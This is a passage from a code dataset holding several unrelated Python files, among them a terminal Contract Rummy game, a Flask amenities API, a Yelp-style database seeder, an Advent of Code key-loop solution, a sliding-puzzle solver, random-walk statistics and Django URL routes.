contract.groups == 1:\n groups_display = \"1 GROUP of 3\"\n elif contract.groups == 2 or contract.groups == 3:\n groups_display = f\"{contract.groups} GROUPS of 3\"\n else:\n print(f\"ERROR: group number '{contract.groups}' undefined.\")\n\n if contract.runs == 0:\n runs_display = \"\"\n elif contract.runs == 1:\n runs_display = \"1 RUN of 4\"\n elif contract.runs == 2 or contract.runs == 3:\n runs_display = f\"{contract.runs} RUNS of 4\"\n else:\n print(f\"ERROR: run number '{contract.runs}' undefined.\")\n\n if current_contract == contract_7:\n contract_display = [center(runs_display, 18), center(\"NO DISCARD\", 18)]\n elif current_contract == contract_3:\n contract_display = [center(runs_display, 18), center(\"\", 18)]\n else:\n contract_display = [center(groups_display, 18), center(runs_display, 18)]\n\n return contract_display\n\n#\n# def sort(unsorted_cards):\n# \"\"\"Takes unordered list of cards\n# Returns cards in new deck order\"\"\"\n# sorted_cards = []\n#\n# for ordered_card in new_deck(1):\n# for card in unsorted_cards:\n# if card == ordered_card:\n# sorted_cards.append(card)\n#\n# return sorted_cards\n\n\ndef draw_screen():\n \"\"\"Prints the appropriate updated display on the screen after input\"\"\"\n global players\n\n # PLAYER INFO DISPLAY\n for player in players:\n player.name_display = player.get_name_display()\n player.meld_display_1 = player.get_meld_display(1)\n player.meld_display_2 = player.get_meld_display(2)\n player.meld_display_3 = player.get_meld_display(3)\n player.hand_display = player.get_hand_display()\n player.rank = player.get_rank()\n player.rank_display = player.get_rank_display()\n\n # DECK / DISCARD PILE DISPLAY\n if len(deck) > 0:\n deck_display = [\"'/ \\\\'\", \" )|( \", \".\\\\_/.\"]\n\n else:\n deck_display = [\" \", \" O \", \" \"]\n\n deck_count_display = right_align(str(len(deck)), 3)\n\n if len(discard_pile) > 0:\n discard_pile_display = center(base_deck[discard_pile[-1]].display_no_brackets, 3)\n\n else:\n discard_pile_display = \" O \"\n\n discard_pile_count_display = left_align(str(len(discard_pile)), 3)\n\n # CURRENT TURN DISPLAY\n current_player_name_display = center(current_player.name, 18)\n current_player_score_display = center((current_player.rank_display + f\" Place ({str(current_player.score)})\"), 18)\n\n current_contract_display = get_contract_display(current_contract)\n\n # ACTIONS LIST DISPLAY\n\n # INSTRUCTIONS DISPLAY\n instructions_display = center(instructions, 76)\n\n set_screen_parameters()\n clear()\n print(play_field.format(\n p2.hand_display[0], current_player_name_display, p3.hand_display, current_contract_display[0], p4.hand_display[0],\n p2.hand_display[1], current_player_score_display, current_contract_display[1], p4.hand_display[1],\n p2.hand_display[2], p3.name_display, p4.hand_display[2],\n p2.hand_display[3], p3.meld_display_1, p4.hand_display[3],\n p2.hand_display[4], p2.meld_display_1[0], p2.meld_display_2[0], p2.meld_display_3[0], p3.meld_display_2, p4.meld_display_3[0], p4.meld_display_2[0], p4.meld_display_1[0], p4.hand_display[4],\n p2.hand_display[5], p2.name_display[0], p2.meld_display_1[1], p2.meld_display_2[1], p2.meld_display_3[1], p3.meld_display_3, p4.meld_display_3[1], p4.meld_display_2[1], p4.meld_display_1[1], p4.name_display[0], p4.hand_display[5],\n p2.hand_display[6], p2.name_display[1], p2.meld_display_1[2], p2.meld_display_2[2], p2.meld_display_3[2], p4.meld_display_3[2], p4.meld_display_2[2], p4.meld_display_1[2], p4.name_display[1], p4.hand_display[6],\n p2.hand_display[7], p2.name_display[2], p2.meld_display_1[3], p2.meld_display_2[3], p2.meld_display_3[3], p4.meld_display_3[3], p4.meld_display_2[3], p4.meld_display_1[3], p4.name_display[2], p4.hand_display[7],\n p2.hand_display[8], p2.name_display[3], p2.meld_display_1[4], p2.meld_display_2[4], p2.meld_display_3[4], deck_display[0], p4.meld_display_3[4], p4.meld_display_2[4], p4.meld_display_1[4], p4.name_display[3], p4.hand_display[8],\n p2.hand_display[9], p2.name_display[4], p2.meld_display_1[5], p2.meld_display_2[5], p2.meld_display_3[5], deck_count_display, deck_display[1], discard_pile_display, discard_pile_count_display, p4.meld_display_3[5], p4.meld_display_2[5], p4.meld_display_1[5], p4.name_display[4], p4.hand_display[9],\n p2.hand_display[10], p2.name_display[5], p2.meld_display_1[6], p2.meld_display_2[6], p2.meld_display_3[6], deck_display[2], p4.meld_display_3[6], p4.meld_display_2[6], p4.meld_display_1[6], p4.name_display[5], p4.hand_display[10],\n p2.hand_display[11], p2.name_display[6], p2.meld_display_1[7], p2.meld_display_2[7], p2.meld_display_3[7], p4.meld_display_3[7], p4.meld_display_2[7], p4.meld_display_1[7], p4.name_display[6], p4.hand_display[11],\n p2.hand_display[12], p2.name_display[7], p2.meld_display_1[8], p2.meld_display_2[8], p2.meld_display_3[8], p4.meld_display_3[8], p4.meld_display_2[8], p4.meld_display_1[8], p4.name_display[7], p4.hand_display[12],\n p2.hand_display[13], p2.name_display[8], p2.meld_display_1[9], p2.meld_display_2[9], p2.meld_display_3[9], p1.meld_display_3, p4.meld_display_3[9], p4.meld_display_2[9], p4.meld_display_1[9], p4.name_display[8], p4.hand_display[13],\n p2.hand_display[14], p2.name_display[9], p2.meld_display_1[10], p2.meld_display_2[10], p2.meld_display_3[10], p1.meld_display_2, p4.meld_display_3[10], p4.meld_display_2[10], p4.meld_display_1[10], p4.name_display[9], p4.hand_display[14],\n p2.hand_display[15], p2.meld_display_1[11], p2.meld_display_2[11], p2.meld_display_3[11], p1.meld_display_1, p4.meld_display_3[11], p4.meld_display_2[11], p4.meld_display_1[11], p4.hand_display[15],\n p2.hand_display[16], p2.meld_display_1[12], p2.meld_display_2[12], p2.meld_display_3[12], p1.name_display, p4.meld_display_3[12], p4.meld_display_2[12], p4.meld_display_1[12], p4.hand_display[16],\n p2.hand_display[17], p4.hand_display[17],\n p2.hand_display[18], p1.hand_display[0], p4.hand_display[18],\n p2.hand_display[19], p1.hand_display[1], p4.hand_display[19],\n p2.hand_display[20], p1.hand_display[2], p4.hand_display[20],\n \"...\",\n instructions_display\n ))\n\n# ------------------------------------------------------ INITIALIZE VARIABLES\n\n# initialize screen parameters\nfont_size = 18\nscreen_height = 34\nscreen_width = 128\n\n# initialize actions list, instructions\ninstructions = \"Welcome to Contract Rummy.\"\n\n# initialize base_deck\nbase_deck = {} # ('2', 'Spades') = Card object\ndeck = [] # [('2', 'Spades'), ('2', 'Spades'), ('3', 'Spades') ... ('Joker', 'Joker')]\ndiscard_pile = []\nsuit_chars = {'Spades': '♠', 'Hearts': '♡', 'Clubs': '♣', 'Diamonds': '♢'} # str (English word): str (suit symbol)\n\n# populate base deck with 'card: base_deck' key-value pairs\nfor suit in suit_chars:\n for rank in range(2,11):\n base_deck[(str(rank), suit)] = Card(rank, [], suit, rank, suit_chars[suit], rank)\n\n base_deck[('Jack', suit)] = Card(11, [], suit, 'J', suit_chars[suit], 10)\n base_deck[('Queen', suit)] = Card(12, [], suit, 'Q', suit_chars[suit], 10)\n base_deck[('King', suit)] = Card(13, [], suit, 'K', suit_chars[suit], 10)\n base_deck[('Ace', suit)] = Card(14, [1], suit, 'A', suit_chars[suit], 10)\n\nbase_deck[('Joker', 'Joker')] = Card(0, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], 'Joker', 'J', 'K', 10)\n\n# initialize players\n# .name, .turn_status, .turn_position, .has_contract, hand, meld, score\np1 = Player(1, \"Player 1\", \"0\", None, 0, False, [], [[], [], []], 0)\np2 = Player(2, \"Player 2\", \"0\", None, 0, False, [], [[], [], []], 0)\np3 = Player(3, \"Player 3\", \"0\", None, 0, False, [], [[], [], []], 0)\np4 = Player(4, \"Player 4\", \"0\", None, 0, False, [], [[], [], []], 0)\nplayers = [p1, p2, p3, p4]\ncurrent_player = None\n\n# initialize contracts, assign dealers\nfirst_dealer = random.randint(1, 4)\nfull_deal_cycle = [1, 2, 3, 4, 1, 2, 3, 4, 1, 2]\ndeal_cycle = full_deal_cycle[full_deal_cycle.index(first_dealer):full_deal_cycle.index(first_dealer) + 7]\n# number, groups, runs, cards_dealt, dealer\ncontract_1 = Contract(1, 2, 0, 10, deal_cycle[0])\ncontract_2 = Contract(2, 1, 1, 10, deal_cycle[1])\ncontract_3 = Contract(3, 0, 2, 10, deal_cycle[2])\ncontract_4 = Contract(4, 3, 0, 10, deal_cycle[3])\ncontract_5 = Contract(5, 2, 1, 12, deal_cycle[4])\ncontract_6 = Contract(6, 1, 2, 12, deal_cycle[5])\ncontract_7 = Contract(7, 0, 3, 12, deal_cycle[6])\ncontracts = [contract_1, contract_2, contract_3, contract_4, contract_5, contract_6, contract_7]\n\n# ----------------------------------------------------------------- START GAME\n\nnew_contract(contract_1)\nrunning = True\n\n# MAIN LOOP\nwhile running:\n for contract in contracts[contracts.index(current_contract):]:\n if len(current_player.hand) > 0:\n current_player.turn()\n break\n\n else:\n next_contract()\n break\n","sub_path":"contract_rummy_beta.py","file_name":"contract_rummy_beta.py","file_ext":"py","file_size_in_byte":39065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"525781803","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 10 09:30:19 2019\r\n\r\n@author: FartherSkies\r\n\"\"\"\r\n\r\n''' template '''\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('Salary_Data.csv')\r\nX = dataset.iloc[:, :-1].values # preserve the 2D array\r\ny = dataset.iloc[:, 1].values\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\r\n\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import r2_score\r\n\r\nlr = LinearRegression ()\r\n\r\nlr.fit (X_train, y_train)\r\ny_pred = lr.predict (X_test)\r\nr2 = r2_score(y_true, y_pred)\r\n\r\nprint ('r-squared: '+r2)\r\nprint ('coefficent of age: '+lr.coef_)\r\nprint ('starting salary: '+lr.intercept_)\r\n\r\nloss = np.sqrt ((y_test - y_pred)**2)\r\n\r\n# graphical\r\n\r\nplt.scatter (X_test, y_test, color='red')\r\nplt.plot (X_test, y_pred, color='blue')\r\nplt.plot (X_test, loss, color='red', alpha=0.30)\r\nplt.title ('Years v Salary')\r\nplt.xlabel ('Years of Experience')\r\nplt.ylabel ('Salary')\r\nplt.show()\r\n\r\n\r\n","sub_path":"Udemy/Machine Leartning A-Z/Simple Linear/my_simple_linear.py","file_name":"my_simple_linear.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"363154235","text":"#!/usr/bin/python3\n\"\"\"RestFul API actions Amenity\n\"\"\"\nfrom models.amenity import Amenity\nfrom models import storage\nfrom flask import jsonify, request, make_response, abort\nfrom api.v1.views import app_views\n\n\n@app_views.route('/amenities', methods=['GET'], strict_slashes=False)\ndef all_amenities():\n \"\"\"Retrieves all amenities\n \"\"\"\n amenities = storage.all(Amenity).values()\n list_amenities = []\n for amenity in amenities:\n list_amenities.append(amenity.to_dict())\n return jsonify(list_amenities)\n\n\n@app_views.route('/amenities/', methods=['GET'],\n strict_slashes=False)\ndef one_amenity(amenity_id=None):\n \"\"\"Retrieve an amenity\n \"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if not amenity:\n abort(404)\n return jsonify(amenity.to_dict())\n\n\n@app_views.route('/amenities/', methods=['DELETE'],\n strict_slashes=False)\ndef del_amenity(amenity_id=None):\n \"\"\"Delete amenity object\n \"\"\"\n amenity = storage.get(Amenity, amenity_id)\n if not amenity:\n abort(404)\n storage.delete(amenity)\n storage.save()\n return make_response(jsonify({}), 200)\n\n\n@app_views.route('/amenities', methods=['POST'],\n strict_slashes=False)\ndef post_amenity():\n \"\"\"Create an amenity\n \"\"\"\n dict_json = request.get_json()\n if not dict_json:\n abort(400, description=\"Not a JSON\")\n if 'name' not in dict_json:\n abort(400, description=\"Missing name\")\n\n new_amenity = Amenity(**dict_json)\n storage.new(new_amenity)\n storage.save()\n return make_response(jsonify(new_amenity.to_dict()), 201)\n\n\n@app_views.route('/amenities/', methods=['PUT'],\n strict_slashes=False)\ndef put_amenities(amenity_id=None):\n \"\"\"Update an amenity\n \"\"\"\n dict_json = request.get_json()\n if not dict_json:\n abort(400, description=\"Not a JSON\")\n amenity = storage.get('Amenity', amenity_id)\n if amenity:\n for key, value in dict_json.items():\n setattr(amenity, key, value)\n storage.save()\n return make_response(jsonify(amenity.to_dict()), 200)\n else:\n return abort(404)\n","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330409820","text":"from sqlalchemy import create_engine\nimport os , sys , json , glob , itertools \nfrom random import randint\n\nfrom sqlalchemy.orm import sessionmaker \nfrom timeit import timeit\n\nimport pandas as pd \nfrom pandas.io import sql \n\ntry:\n from config import * \nexcept ModuleNotFoundError :\n print ( '''Please provide config.py for database connection:\n in which include:\n host_name : ip addr for host\n port : port num for db\n database : name of db \n password : password of dbadminstrator\n user : name pf dbadminstrator\n And \n import os \n basedir = os.path.abspath( os.path.dirname( __file__ ) )\n SQLALCHEMY_DATABASE_URI = \"postgresql+psycopg2://{}:{}@{}:{}/{}\".format( \n user, password , host_name , port , database )\n ''')\n sys.exit( -1 )\n\nFOOD_description = [ \"Amazing food and make with fish and salad.\", \n \"Baked with beef and mushroom and fish\" ,\n \"Wrap with ham and baked with caskate iron chesse\",\n \"Blend with mushroom and nuts and folded with meat in bake\", \n \"Reversed sears steak and alfredio sources\", \n \"Pastry baked steak in beef wellington\" ]\n\n\n# Importing model \nfrom model import *\nfrom app import db \n\nsess = db.session() \n# db.create_all() \n# db.session.commit() \n\ngen_int = lambda x : randint ( 0 , x - 1)\nauto_sample = lambda x : x % 300\n\ndef parse_restaurant( bucket , l_bucket, line , restaurant_id = None ):\n item = json.loads( line ) \n current_location = Location( item['address'],item['city'] ,\n item['postal_code'] , \n item['business_id'] ,lat=item['latitude'], lon=item['longitude'])\n \n l_bucket.append( current_location )\n rest = Restaurant( \n item['business_id'], item['name'] , item['review_count'],\n item['is_open' ] , item[ 'stars' ],\n item[ 'hours' ] , food_type=item['categories'] , location=current_location )\n bucket.append( rest )\n \n restaurant_id.append ( item[ 'business_id' ] )\n \n\ndef parse_review( bucket , line , user_id , rest_id , menu_id):\n item = json.loads( line )\n bucket.append ( Rating( user_id[ gen_int( len ( user_id ) ) ],\n rest_id[ gen_int( len ( rest_id ) ) ],\n item['date'] ,item['text'] , \n gen_int( 30 ) ,gen_int( 5 ) , menu_id[ gen_int (len( menu_id )) ]) )\n\n\ndef parse_user ( bucket , line , user_id ):\n item = json.loads ( line )\n bucket.append( Rater( item[ 'user_id' ] ,item[ 'name' ],\n item[ 'yelping_since' ],item[ 'average_stars' ] ,\n gen_int(3) ))\n user_id.append ( item['user_id']) \n \n# read the csv file and insertting the data to the database\ndef read_csv_file ( file_folder = \"../dataset/\" , \n file_name = None , \n restaurant_id = None , save = True ): \n drop_columns = [ \"menus_appeared\" , \"times_appeared\" , \n \"times_appeared\" , \"last_appeared\" ,\n \"first_appeared\" ]\n menu_id =[] \n category_id = [ 'Appetizers' , 'Entrees' , 'Desserts','Beverages']\n restaurant_id.remove( 'XIeu6wabop6VabOVFNVHIg' )\n if file_name and file_folder:\n file_ = os.path.join( file_folder , file_name )\n data = pd.read_csv( file_ )\n if not save: return list (data[\"item_id\"])\n data.dropna( axis = 1 , how = 'any' , inplace = True )\n data.drop( columns = drop_columns , axis = 1 , inplace=True)\n data[ 'category' ] = data.item_id.apply( lambda x : category_id[ gen_int( len( category_id ) ) ] )\n data[ 'business_id' ] = data.item_id.apply( lambda x : restaurant_id[ auto_sample( x ) ] )\n data[ 'price' ] = data.item_id.apply ( lambda x : gen_int ( 30 ) )\n data[ 'description' ] = data.item_id.apply ( lambda x : FOOD_description[gen_int(6)])\n if save :\n data.to_sql( \"menuitem\" , db.engine , if_exists='append' , index=False )\n return list(data['item_id'])\n \n\n# Initializes the database \n\ndef init_db( num_data = 300 , insert_threshhold = 100 , inserting=True):\n bus_bucket , location_bucket , user_bucket = [] , [] , [] \n user_id ,rating_bucket , rest_id = [], [] , []\n\n print ( \"Inserting data ......\")\n \n print ( \"Adding locations and busiensses ...... \") \n \n \n with open(\"../dataset/business.json\",\"r\", buffering = insert_threshhold ) as businesses : \n for count , business in enumerate( businesses.readlines() ):\n if count > num_data : break\n parse_restaurant( bus_bucket ,location_bucket, business , \n restaurant_id= rest_id )\n \n if len( bus_bucket ) == insert_threshhold : \n sess.add_all( bus_bucket )\n sess.commit()\n sess.add_all( location_bucket )\n sess.commit()\n location_bucket , bus_bucket = [] , [] \n \n # inserting menu_item \n print ( \"Adding menus........\")\n menu_id = read_csv_file( file_name= \"Dish.csv\" , restaurant_id= rest_id, save=True) \n \n # inserting user \n print ( \"Adding users ...... \")\n with open(\"../dataset/user.json\" , \"r\", buffering = insert_threshhold ) as rater:\n for count , rater in enumerate ( rater ):\n if count > num_data : break \n parse_user( user_bucket , rater , user_id )\n if len( user_bucket ) == insert_threshhold :\n sess.add_all( user_bucket )\n user_bucket = [] \n sess.commit() \n \n user_id.remove( 'aRBFKDKgIfqtn83ZI4oNSQ' ) # avoid adding review issues \n \n print ( \"Adding reviews ...... \")\n with open(\"../dataset/review.json\" , \"r\", buffering = 1000 ) as rating:\n for count , rater in enumerate (rating):\n if count == num_data * 10 : break \n parse_review ( rating_bucket , rater , user_id , rest_id ,menu_id )\n if len(rating_bucket ) == insert_threshhold and inserting: # if the size of value reaches thresh hold \n sess.add_all( rating_bucket )\n rating_bucket = []\n sess.commit() \n \n\n\nif __name__ == \"__main__\":\n db.create_all()\n db.session.commit() \n init_db() ","sub_path":"app/seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"380296506","text":"card_pub_key = 15335876\ndoor_pub_key = 15086442\n\n\ndef find_loop_size(subject_num, pub_key):\n value = 1\n loops = 0\n\n while value != pub_key:\n value *= subject_num\n value %= 20201227\n loops += 1\n\n return loops\n\n\ndef find_enc_key(pub_key, loop_size):\n value = 1\n\n for i in range(loop_size):\n value *= pub_key\n value %= 20201227\n\n return value\n\n\ncard_loop_size = find_loop_size(7, card_pub_key)\ndoor_loop_size = find_loop_size(7, door_pub_key)\n\nprint(find_enc_key(door_pub_key, card_loop_size))","sub_path":"src/Advent_of_Code/2020/Day_25/Day_25_1.py","file_name":"Day_25_1.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"556916196","text":"class Solution:\n def findContentChildren(self, g: List[int], s: List[int]) -> int:\n g.sort()\n s.sort()\n g_len = len(g)\n s_len = len(s)\n i, j, res_num = 0, 0, 0\n while i < g_len and j < s_len:\n if g[i] <= s[j]:\n res_num += 1\n i += 1\n j += 1\n else:\n j += 1\n return res_num","sub_path":"Week_03/assign_cookies.py","file_name":"assign_cookies.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"152681773","text":"import logging\nimport time\nfrom random import random\nfrom termcolor import colored\n\nfrom project.src.search import Search\nfrom project.src.state import State\nfrom project.src.heuristic import *\nfrom project.src.puzzle import create_puzzle, Puzzle\n\n## Basic logging configuration\nlog_format='%(message)s'\nlogging.basicConfig(level=logging.INFO , format=log_format)\n\nlog = logging.getLogger('Solver')\n\n## console messages\nWELCOME = colored('Welcome to NxN Sliding Tile Puzzle Solver', 'blue')\nBLANK_TILE = colored('Beware, 0 is a must and acts as blank position', 'red')\nASK_N = colored('Enter the side of the puzzle :', 'blue')\nASK_ROW = colored('Enter the space-seperated values of row ', 'blue')\nASK_H = colored('Choose heuristic for optimal search -\\n' + \\\n '(1) Uniform Cost Search\\n' + \\\n '(2) A* with Misplaced Tile Heuristic\\n' + \\\n '(3) A* with Manhattan distannce heuritstic\\n' + \\\n 'DEFAULT - Uniform cost search :', 'blue')\n\n## initilaize a n x n puzzle\ndef get_puzzle(n):\n '''\n Returns a puzzle of shape n x n and blank at (n-1, n-1)\n '''\n board = []\n blank_pos = None\n for i in range(0, n):\n row = input(ASK_ROW + str(i+1) + ' :').split(' ')\n for j in range(0, n):\n element = int(row[j])\n board.append(element)\n if not element:\n blank_pos = (i,j)\n return Puzzle(board, blank_pos, (n,n))\n\ndef main():\n '''\n Main function of project\n '''\n\n # Ask for side of the puzzle\n n = int(input(ASK_N))\n N = n**2\n log.info(BLANK_TILE)\n\n # Get a puzzle of shape n x n\n puzzle = get_puzzle(n)\n\n # initilaize the state of the given puzzle\n state = State(puzzle, None)\n\n # defualt heuristic is uniform cost search\n heuristic = no_cost\n\n # ask for heuristic function\n h = int(input(ASK_H))\n if h == 1:\n heuristic = no_cost\n if h == 2:\n heuristic = misplaced_tile\n if h == 3:\n heuristic = manhattan_distance\n\n # Initilaize search for puzzle n x n\n search = Search(n)\n\n #solve for given state\n max_queue_length, states_expanded, result = search.solve(state, heuristic)\n log.info(colored('Path: %s', 'green'),colored(' -> '.join([ str(coord) for coord in result.path_from_root()]), 'cyan'))\n log.info(colored('Number of states expanded : {}'.format(states_expanded), 'green'))\n log.info(colored('Maximum length of priority queue : {}'.format(max_queue_length), 'green'))\n \n # stop time\n log.info(colored('Time taken for execution : {}'.format( (time.time() - start_time) ), 'green'))\n \nif __name__ == '__main__':\n log.info(WELCOME)\n # start time\n start_time = time.time()\n main()","sub_path":"project/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598858849","text":"import numpy as np\n\n\n\n#A function is created to calculate the root mean fluctutation\ndef rms_fluc_func(rms_arr,rm_arr,walks):\n #Store the values of the root mean fluctation\n rms_fluc_arr = []\n #A for loop is created to append the difference between\n #(rms-rm**2)**0.5\n for i in range(0,len(rms_arr)):\n var = rms_arr[i]-pow(rm_arr[i],2)\n walks/(walks-1)\n rms_fluc_arr.append(np.sqrt(var * walks/(walks-1)))\n\n \n #Return rm_fluc to plot\n return rms_fluc_arr\n\n#Standard error estimate is given by standard deviation / sqrt(n)\n#The standard deviation is given by sqrt(1/(n-1) * sum (R_i - mean_of_R )**2)\ndef SEE_R_F(rms_arr,rm_arr,M):\n error_R_F = []\n fluc_R_F = []\n\n for i in range(0,len(rms_arr)):\n var = rms_arr[i]-pow(rm_arr[i],2)\n frac_fluc = M/(M-1)\n frac_error = 1/(M-1) \n fluc_R_F.append(np.sqrt(frac_fluc * var))\n error_R_F.append(np.sqrt(var * frac_error))\n \n #Return rm_fluc to plot\n return fluc_R_F, error_R_F\n\n\n\n#Center of mass\ndef center(coord):\n sum_vec= [0,0,0]\n #Sums all the vectors\n for i in range(0,len(coord)):\n sum_vec[0] += coord[i][0]\n sum_vec[1] += coord[i][1]\n sum_vec[2] += coord[i][2]\n \n r_G = np.divide(sum_vec, len(coord)+1)\n \n\n return r_G\n \n\n\n#Root mean square end-to-end distance\ndef rms(arr): #An array with many end-to-end distance for multiple reruns\n \n #Store the magnitude of each coordinate\n rms_mag = [] \n #Each coord is appended and the magnitude is calculated\n for i in range(0, len(arr)):\n rms_mag.append(np.linalg.norm(arr[i]))\n #Square every element in the list, and take the average\n ms = (np.sum(np.square(rms_mag))/len(rms_mag)) #The mean square\n rms = np.sqrt((np.sum(np.square(rms_mag))/len(rms_mag))) #The root mean square\n return ms, rms\n\n#A function is made to calculate the root mean\ndef rm(arr):\n #Store the magnitude of each coordinate\n mag_vals = [] \n #Each coord is appended and the magnitude is calculated\n for i in range(0, len(arr)):\n mag_vals.append(np.linalg.norm(arr[i]))\n #Sum every value in the list, take the mean\n rm = np.sum(mag_vals)/len(mag_vals)\n\n return rm\n\n\ndef ROG(coord):\n center_of_mass = center(coord) #Calculates the center of mass\n val_store = [] #Store the value (r_i-r_g)^2\n #CALCULATING (r_i - r_g)^2\n for i in range(0,len(coord)):\n #Store each vector component for r_i - r_g\n vec_store = [0,0,0]\n for w in range(0,3):\n vec_store[w] = (center_of_mass[w]-coord[i][w])\n\n #np.linalg.norm(arr[i]) is used to calculate the square of a vector\n val_store.append(pow(np.linalg.norm(vec_store),2)) #CALCULATING each (r_i - r_g)^2\n #Summation of the total (r_i - r_g)^2\n val_store = np.sum(val_store)\n #Dividing the sum by 1/(N+1)\n RoG_2 = np.divide(val_store,len(coord)+1) #This is R_g^2\n \n return RoG_2 #R_g^2\n\n\n\ndef ROG_mag(coord):\n center_of_mass = center(coord) #Calculates the center of mass\n val_store = [] #Store the value (r_i-r_g)^2\n #CALCULATING (r_i - r_g)^2\n for i in range(0,len(coord)):\n #Store each vector component for r_i - r_g\n vec_store = [0,0,0]\n for w in range(0,3):\n vec_store[w] = (center_of_mass[w]-coord[i][w])\n\n #np.linalg.norm(arr[i]) is used to calculate the square of a vector\n val_store.append((np.linalg.norm(vec_store))) #CALCULATING each the mag(r_i - r_g)\n #Summation of the total mag (r_i - r_g)\n val_store = np.sum(val_store)\n #Dividing the sum by 1/(N+1)\n RoG_2 = np.divide(val_store,len(coord)+1) \n \n return RoG_2 \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"Random_Walk/Simulation/Modules.py","file_name":"Modules.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473738864","text":"\"\"\"scratchQsDjango URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\n# from scratchQs import views\nfrom scratchQs import views as scratchq_views\nfrom django.contrib.auth import views as auth_views\nfrom scratchQs.views import UserFormView, login_view\n\n\nurlpatterns = [\n url(r'^scratchQs/admin/', admin.site.urls),\n #url(r'^scratchQs/$', scratchq_views.index, name=\"index\"),\n url(r'^scratchQs/questions/', scratchq_views.IndexView.as_view(), name=\"index\"),\n url(r'^scratchQs/filter/(?P.*)/$', scratchq_views.filter_results, name=\"filter_results\"),\n url(r'^scratchQs/(?P[0-9])/filter/(?P.*)/$', scratchq_views.filter_answers, name=\"filter_answers\"),\n\n url(r'^scratchQs/(?P[0-9])/$', scratchq_views.answers, name=\"answers\"),\n url(r'^scratchQs/community/(?P[0-9]+)/$', scratchq_views.community_questions, name=\"community_questions\"),\n url(r'^scratchQs/signup', scratchq_views.signup, name=\"signup\"),\n url(r'^scratchQs/add_question', scratchq_views.add_question),\n #url(r'^scratchQs/answer/$', scratchq_views.answer_page, name=\"answer_page\") #not working yet\n url(r'^upvote_question', scratchq_views.upvote_question, name=\"upvote_question\"),\n url(r'^downvote_question', scratchq_views.downvote_question, name=\"downvote_question\"),\n url(r'^upvote_answer', scratchq_views.upvote_answer, name=\"upvote_answer\"),\n url(r'^downvote_answer', scratchq_views.downvote_answer, name=\"downvote_answer\"),\n url(r'^scratchQs/add_answer/', scratchq_views.add_answer, name=\"add_answer\"),\n url(r'^scratchQs/search/keyword=(?P.*)/', scratchq_views.search_question, name=\"search_question\"),\n url(r'^scratchQs/register/', UserFormView.as_view(), name='register'),\n url(r'^scratchQs/login/', login_view, name='login'),\n\n # url(r'^scratchQs/loginn/$', auth_views.login, name='login'), #still working\n]\n","sub_path":"scratchQsDjango/scratchQsDjango/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"46527562","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Labstep \n\nfrom labstep.entities.resourceLocation.model import ResourceLocation\nimport labstep.generic.entity.repository as entityRepository\nfrom labstep.constants import UNSPECIFIED\n\n\ndef getResourceLocation(user, resource_location_guid):\n return entityRepository.getEntity(\n user, ResourceLocation, id=resource_location_guid\n )\n\n\ndef getResourceLocations(\n user, count=UNSPECIFIED, search_query=UNSPECIFIED, extraParams={}\n):\n params = {\n \"group_id\": user.activeWorkspace,\n \"search_query\": search_query,\n **extraParams,\n }\n return entityRepository.getEntities(user, ResourceLocation, count, params)\n\n\ndef newResourceLocation(user, name, outer_location_guid=UNSPECIFIED, extraParams={}):\n params = {\n \"group_id\": user.activeWorkspace,\n \"name\": name,\n \"outer_location_guid\": outer_location_guid,\n **extraParams\n }\n return entityRepository.newEntity(user, ResourceLocation, params)\n\n\ndef editResourceLocation(resourceLocation, name, extraParams={}):\n params = {\"name\": name, **extraParams}\n return entityRepository.editEntity(resourceLocation, params)\n\n\ndef setPosition(entity, location, position, size=[1, 1]):\n \"\"\"\n Set the position of an entity within the location (Must have location set already)\n\n Parameters\n ----------\n position ([x: int,y: int])\n Position coordinates as a [x,y]\n size ([w: int,h: int])\n Optional: Specify the width / height the entity takes up in the location (defaults to [1,1])\n\n\n Example\n -------\n ::\n\n item = user.getResourceItem(17000)\n location = user.getResourceItem(17000)\n setPosition(location,item,position=[1,2],size=[1,1])\n 